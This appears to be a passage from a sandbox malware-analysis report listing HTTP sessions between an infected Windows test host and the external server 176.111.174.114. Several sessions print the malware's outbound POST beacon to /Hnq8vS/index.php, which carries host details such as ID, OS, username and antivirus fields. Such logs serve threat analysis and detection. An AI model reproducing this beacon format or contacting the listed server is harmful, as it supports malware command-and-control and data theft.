Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
846	192.168.2.5	50219	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
847	176.111.174.114	80	192.168.2.5	50219	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
848	192.168.2.5	50221	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
849	176.111.174.114	80	192.168.2.5	50221	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	176.111.174.114	80	192.168.2.5	49758	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:36.226535082 CEST	1854	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:36 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
850	192.168.2.5	50222	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
851	176.111.174.114	80	192.168.2.5	50222	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
852	192.168.2.5	50223	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
853	176.111.174.114	80	192.168.2.5	50223	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
854	192.168.2.5	50225	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
855	176.111.174.114	80	192.168.2.5	50225	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
856	192.168.2.5	50226	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
857	176.111.174.114	80	192.168.2.5	50226	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
858	192.168.2.5	50227	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
859	176.111.174.114	80	192.168.2.5	50227	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.5	49759	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:36.434108019 CEST	1854	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
860	192.168.2.5	50228	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
861	176.111.174.114	80	192.168.2.5	50228	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
862	192.168.2.5	50229	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
863	192.168.2.5	50230	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
864	176.111.174.114	80	192.168.2.5	50229	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
865	192.168.2.5	50231	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
866	176.111.174.114	80	192.168.2.5	50231	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
867	176.111.174.114	80	192.168.2.5	50230	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
868	192.168.2.5	50233	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
869	176.111.174.114	80	192.168.2.5	50233	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	176.111.174.114	80	192.168.2.5	49759	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:36.537502050 CEST	1855	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:36 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
870	192.168.2.5	50234	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
871	176.111.174.114	80	192.168.2.5	50234	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
872	192.168.2.5	50235	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
873	176.111.174.114	80	192.168.2.5	50235	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
874	192.168.2.5	50236	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
875	176.111.174.114	80	192.168.2.5	50236	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
876	192.168.2.5	50238	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
877	176.111.174.114	80	192.168.2.5	50238	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
878	192.168.2.5	50239	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
879	176.111.174.114	80	192.168.2.5	50239	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.5	49760	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:36.742958069 CEST	1855	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
880	192.168.2.5	50240	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
881	176.111.174.114	80	192.168.2.5	50240	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
882	192.168.2.5	50241	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
883	176.111.174.114	80	192.168.2.5	50241	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
884	192.168.2.5	50242	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
885	192.168.2.5	50243	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
886	176.111.174.114	80	192.168.2.5	50243	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
887	176.111.174.114	80	192.168.2.5	50242	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
888	192.168.2.5	50244	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
889	176.111.174.114	80	192.168.2.5	50244	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	176.111.174.114	80	192.168.2.5	49760	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:36.842916012 CEST	1856	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:36 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
890	192.168.2.5	50246	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
891	176.111.174.114	80	192.168.2.5	50246	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
892	192.168.2.5	50247	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
893	176.111.174.114	80	192.168.2.5	50247	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
894	192.168.2.5	50248	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
895	176.111.174.114	80	192.168.2.5	50248	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
896	192.168.2.5	50250	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
897	176.111.174.114	80	192.168.2.5	50250	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
898	192.168.2.5	50251	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
899	176.111.174.114	80	192.168.2.5	50251	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	176.111.174.114	80	192.168.2.5	49715	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:23.279736042 CEST	1567	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:23 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.5	49761	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:37.055737019 CEST	1856	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
900	192.168.2.5	50252	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
901	176.111.174.114	80	192.168.2.5	50252	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
902	192.168.2.5	50253	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
903	176.111.174.114	80	192.168.2.5	50253	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
904	192.168.2.5	50254	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
905	192.168.2.5	50255	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
906	176.111.174.114	80	192.168.2.5	50255	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
907	192.168.2.5	50256	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
908	176.111.174.114	80	192.168.2.5	50254	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
909	176.111.174.114	80	192.168.2.5	50256	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	176.111.174.114	80	192.168.2.5	49761	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:37.159174919 CEST	1857	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
910	192.168.2.5	50258	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
911	176.111.174.114	80	192.168.2.5	50258	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
912	192.168.2.5	50259	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
913	176.111.174.114	80	192.168.2.5	50259	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
914	192.168.2.5	50260	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
915	176.111.174.114	80	192.168.2.5	50260	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
916	192.168.2.5	50261	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
917	176.111.174.114	80	192.168.2.5	50261	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
918	192.168.2.5	50263	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
919	176.111.174.114	80	192.168.2.5	50263	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.5	49762	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:37.367507935 CEST	1857	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
920	192.168.2.5	50264	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
921	176.111.174.114	80	192.168.2.5	50264	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
922	192.168.2.5	50265	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
923	176.111.174.114	80	192.168.2.5	50265	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
924	192.168.2.5	50266	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
925	192.168.2.5	50267	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
926	176.111.174.114	80	192.168.2.5	50266	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
927	192.168.2.5	50268	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
928	176.111.174.114	80	192.168.2.5	50268	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
929	176.111.174.114	80	192.168.2.5	50267	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	176.111.174.114	80	192.168.2.5	49762	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:37.467504978 CEST	1858	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:37 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
930	192.168.2.5	50269	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
931	176.111.174.114	80	192.168.2.5	50269	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
932	192.168.2.5	50271	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
933	176.111.174.114	80	192.168.2.5	50271	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
934	192.168.2.5	50272	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
935	176.111.174.114	80	192.168.2.5	50272	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
936	192.168.2.5	50273	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
937	176.111.174.114	80	192.168.2.5	50273	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
938	192.168.2.5	50274	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
939	176.111.174.114	80	192.168.2.5	50274	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.5	49763	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:37.678546906 CEST	1858	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
940	192.168.2.5	50276	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
941	176.111.174.114	80	192.168.2.5	50276	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
942	192.168.2.5	50277	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
943	176.111.174.114	80	192.168.2.5	50277	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
944	192.168.2.5	50278	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
945	176.111.174.114	80	192.168.2.5	50278	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
946	192.168.2.5	50279	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
947	176.111.174.114	80	192.168.2.5	50279	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
948	192.168.2.5	50280	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
949	176.111.174.114	80	192.168.2.5	50280	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	176.111.174.114	80	192.168.2.5	49763	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
